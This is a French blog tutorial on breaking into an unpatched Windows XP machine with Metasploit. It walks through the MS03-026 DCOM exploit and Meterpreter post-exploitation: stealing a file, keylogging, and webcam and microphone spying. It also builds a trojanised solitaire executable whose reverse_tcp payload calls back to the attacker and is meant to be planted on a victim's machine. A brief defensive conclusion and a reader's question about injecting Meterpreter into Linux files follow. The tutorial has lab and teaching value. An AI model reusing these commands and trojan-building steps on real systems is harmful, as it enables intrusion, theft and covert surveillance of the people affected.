Pentest Windows et présentation de Meterpreter

Dans l’article précédent nous avons vu comment réaliser un Pentest sur un système Linux.

Voyons à présent comment s’introduire dans un système Windows.

 

Nous ne reviendrons pas sur tous les détails, aussi je vous conseille d’avoir lu l’article précédent.

Pour mettre en pratique les notions il vous faut donc Metasploit, mais surtout une machine Windows de test.

Pour cela, un Windows XP fraichement installé, sans mises à jour fera amplement l’affaire.

 

1) Exploiter une vulnérabilité

 

Commençons donc par exploiter une vulnérabilité.

 

Pour cela, il nous faut réaliser un scan de vulnérabilités, de manière à identifier les failles.

 

Une fois le scan effectué, il faut identifier une faille à utiliser.

 

Voici un extrait d’un scan réalisé avec Nessus :

Scan Nessus

 

Dans la console Msf, recherchons un exploit correspondant à cette faille, à l’aide de son identifiant CVE.

msf > search cve:2003-0352
Matching Modules
================

   Name                                  Disclosure Date          Rank   Description
   ----                                  ---------------          ----   -----------
exploit/windows/dcerpc/ms03_026_dcom  2003-07-16 00:00:00 UTC  great  Microsoft RPC DCOM Interface Overflow

 

Cet exploit fera l’affaire.

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >

 

Spécifions l’IP de la cible :

msf exploit(ms03_026_dcom) > set RHOST 192.168.1.165
RHOST => 192.168.1.165

 

Vous pouvez afficher la liste des payloads comme ceci :

msf exploit(ms03_026_dcom) > show payloads
Compatible Payloads
===================

Name                                             Disclosure Date  Rank    Description
----                                             ---------------  ----    ----------
generic/custom                                                    normal  Custom Payload
generic/debug_trap                                                normal  Generic x86 Debug Trap
…
windows/meterpreter/bind_tcp                                      normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager

 

Nous allons utiliser la payload windows/meterpreter/bind_tcp, de manière à obtenir une session Meterpreter.

msf exploit(ms03_026_dcom) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

 

Il ne nous reste plus qu’à lancer l’exploit.

msf exploit(ms03_026_dcom) > exploit

[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.165[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.165[135] ...
[*] Sending exploit ...
[*] Sending stage (769024 bytes) to 192.168.1.165
[*] Meterpreter session 1 opened (192.168.1.210:59063 -> 192.168.1.165:4444) at 2014-04-04 16:15:58 +0200

meterpreter >

 

Meterpreter est un outil qui permet de réaliser toutes sortes d’actions sur la machine cible.

Par exemple, nous pouvons télécharger des fichiers, lancer un Keylogger, prendre une capture d’écran, etc…

 

Meterpreter est en principalement disponible pour les cibles Windows.

Néanmoins, il existe aussi des payloads permettant d’obtenir une session Meterpreter sous Linux.

 

Voyons ensemble quelques commandes.

 

Premièrement, il peut être judicieux de changer de processus.

De cet manière, si le processus que nous utilisons actuellement pour la connexion venait à être fermé, nous ne perdrions pas l’accès.

 

Commençons par afficher la liste des processus.

meterpreter > ps

Process List
============

PID   PPID  Name              Arch  Session     User
---   ----  ----              ----  -------     ----
0     0     [System Process]        4294967295
4     0     System            x86   0           NT AUTHORITY\SYSTEM
316   4     smss.exe          x86   0           NT AUTHORITY\SYSTEM
…         
456   400   lsass.exe         x86   0           NT AUTHORITY\SYSTEM
… 
628   444   svchost.exe       x86   0           NT AUTHORITY\SYSTEM
…
1120  1080  explorer.exe      x86   0           XP\admin

 

Ensuite, nous pouvons migrer dans l’un des processus.

meterpreter > migrate 1120
[*] Migrating from 628 to 1120...
[*] Migration completed successfully.

 

Un point d’interrogation permet d’obtenir la liste des commandes disponibles.

meterpreter > ?

 

Voyons à présent comment télécharger un fichier.

Pour cela, rendons nous sur le bureau.

meterpreter > getwd
C:\Documents and Settings\admin

 

Nous sommes actuellement dans le dossier indiqué.

meterpreter > ls

Listing: C:\Documents and Settings\admin
========================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
…
40777/rwxrwxrwx   0       dir   2014-03-26 23:24:48 +0100  Desktop
…

meterpreter > cd Desktop 

meterpreter > ls

Listing: C:\Documents and Settings\admin\Desktop
================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
…
100666/rw-rw-rw-  16      fil   2014-03-26 22:44:09 +0100  TOP_SECRET.txt
…

 

Nous pouvons voir un document texte nommé TOP_SECRET.txt

Une simple commande permet de le télécharger.

meterpreter > download TOP_SECRET.txt
[*] downloading: TOP_SECRET.txt -> TOP_SECRET.txt
[*] downloaded : TOP_SECRET.txt -> TOP_SECRET.txt

 

Le fichier est alors téléchargé dans /root/

root@kali:~# ls
TOP_SECRET.txt

 

Voyons à présent comment mettre en place un Keylogger.

Un Keylogger permet de lire les entrées clavier de la machine distante.

meterpreter > keyscan_start
Starting the keystroke sniffer...

 

De retour sur la machine cible, entrer un message au clavier.

 

Pour récupérer les entrées clavier, entrer la commande suivante :

meterpreter > keyscan_dump
Dumping captured keystrokes...
cci est un message top secret

 

N’oubliez pas de stopper le Keylogger.

meterpreter > keyscan_stop
Stopping the keystroke sniffer...

 

Vous pouvez aussi afficher la configuration réseau.

meterpreter > ifconfig
 Interface  
============
Name         : XXX
Hardware MAC : XX:XX:XX:XX:X0:36
MTU          : 1500
IPv4 Address : 192.168.1.165
IPv4 Netmask : 255.255.255.0

 

Il est aussi possible de redémarrer ou éteindre la machine cible.

meterpreter > reboot

meterpreter > shutdown

 

Vous pouvez aussi récupérer des informations sur le système cible.

meterpreter > sysinfo
Computer        : XP
OS              : Windows XP (Build 2600).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

 

Pire encore, si l’ordinateur dispose d’une Webcam et d’un micro, vous pouvez espionner la victime.

Voici les commandes pour le faire.

Stdapi: Webcam Commands
=======================
    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

 

Libre à vous d’explorer les possibilités de Meterpreter.

 

2) Exploit Asynchrone

 

Comme pour l’article précédent, voyons comment réaliser un exploit asynchrone.

 

A nouveau, nous allons compromettre un jeu de solitaire.

 

Si vous utilisez Windows XP, le jeu peut être trouvé dans C:\WINDOWS\system32\

Le fichier s’appelle sol.exe

 

Le sujet ayant déjà été traité dans l’article précédent, je vais être bref.

 

Tout d’abord, copier le fichier .exe à corrompre dans le répertoire /usr/share/metasploit-framework/data/templates/

root@kali:~# cp sol.exe /usr/share/metasploit-framework/data/templates/

 

Nous pouvons à présent ajouter la payload dans le fichier exécutable.

root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.210 LPORT=666 R | msfencode -t exe -x sol.exe -o solitaire.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

 

Le fichier malicieux a été créé.

root@kali:~# ls
solitaire.exe

 

Prenez ce fichier, et copiez-le sur la machine de la victime.

 

Avant d’exécuter le fichier, créons de Handler pour capter l’appel.

msf> use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0

msf exploit(handler) > set LPORT 666
LPORT => 666

msf exploit(handler) > exploit
[*] Started reverse handler on 0.0.0.0:666
[*] Starting the payload handler...

 

Une fois le .exe lancé, vous verrez l’appel arriver, et la session Meterpreter s’ouvrir.

[*] Sending stage (769024 bytes) to 192.168.1.165
[*] Meterpreter session 3 opened (192.168.1.210:666 -> 192.168.1.165:1087) at 2014-04-04 19:05:52 +0200

meterpreter >

 

3) Conclusion

 

Au travers de ces deux derniers articles, nous avons vu divers moyen de prendre la main à distance sur une machine.

 

La question qui se pose est commet se protéger de ces menaces ?

 

Il y a principalement 3 règles à respecter :

  • Garder un système à jour
  • Être vigilant sur les fichiers que l’on exécute et récupère
  • Utiliser un antivirus

 

Garder un système à jour sera principalement le rôle de l’administrateur du système informatique.

Les mises à jour permettent de corriger les failles qui ont été découvertes.

Quant aux systèmes qui ne sont plus mis à jour, ils représentent un danger considérable.

L’un des meilleurs exemples est Windows XP.

Beaucoup de PC sont encore sous Windows XP, alors que le support est arrêté par Microsoft.

Cela signifie que les failles découvertes ne seront jamais corrigées par des mises à jour.

Notons qu’après l’arrêt du support public de Windows XP, il y a toujours un  support payant, pour les systèmes critiques.

 

Être vigilant quant aux fichiers que l’on ouvre est la deuxième règle à respecter.

Ce sera à chaque utilisateur d’être vigilant.

Le problème est que la plupart des utilisateurs n’ont pas de grandes connaissances en informatique.

Il leur est donc difficile d’éviter les comportements dangereux.

 

C’est pourquoi il est important de former les utilisateurs, afin de leur apprendre les bonnes pratiques.

 

Enfin, utiliser un antivirus est indispensable dans une entreprise.

Un antivirus n’est pas infaillible, mais tout de même très efficace.

Cela plus une formation des utilisateurs devrait permettre d’éviter bien des problèmes.

 

Tagués avec : , , ,
Publié dans Pen Test
Un commentaire pour “Pentest Windows et présentation de Meterpreter
  1. root root dit :

    salut,merci bien pour votre tuto ,j’ai une question svp quel sont les fichiers système linux dont on peut injecter meterpreter par exemple dans windows on trouve notepad mais linux je ne sais pas aidez moi svp .

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*

Le temps imparti est dépassé. Merci de saisir de nouveau le CAPTCHA.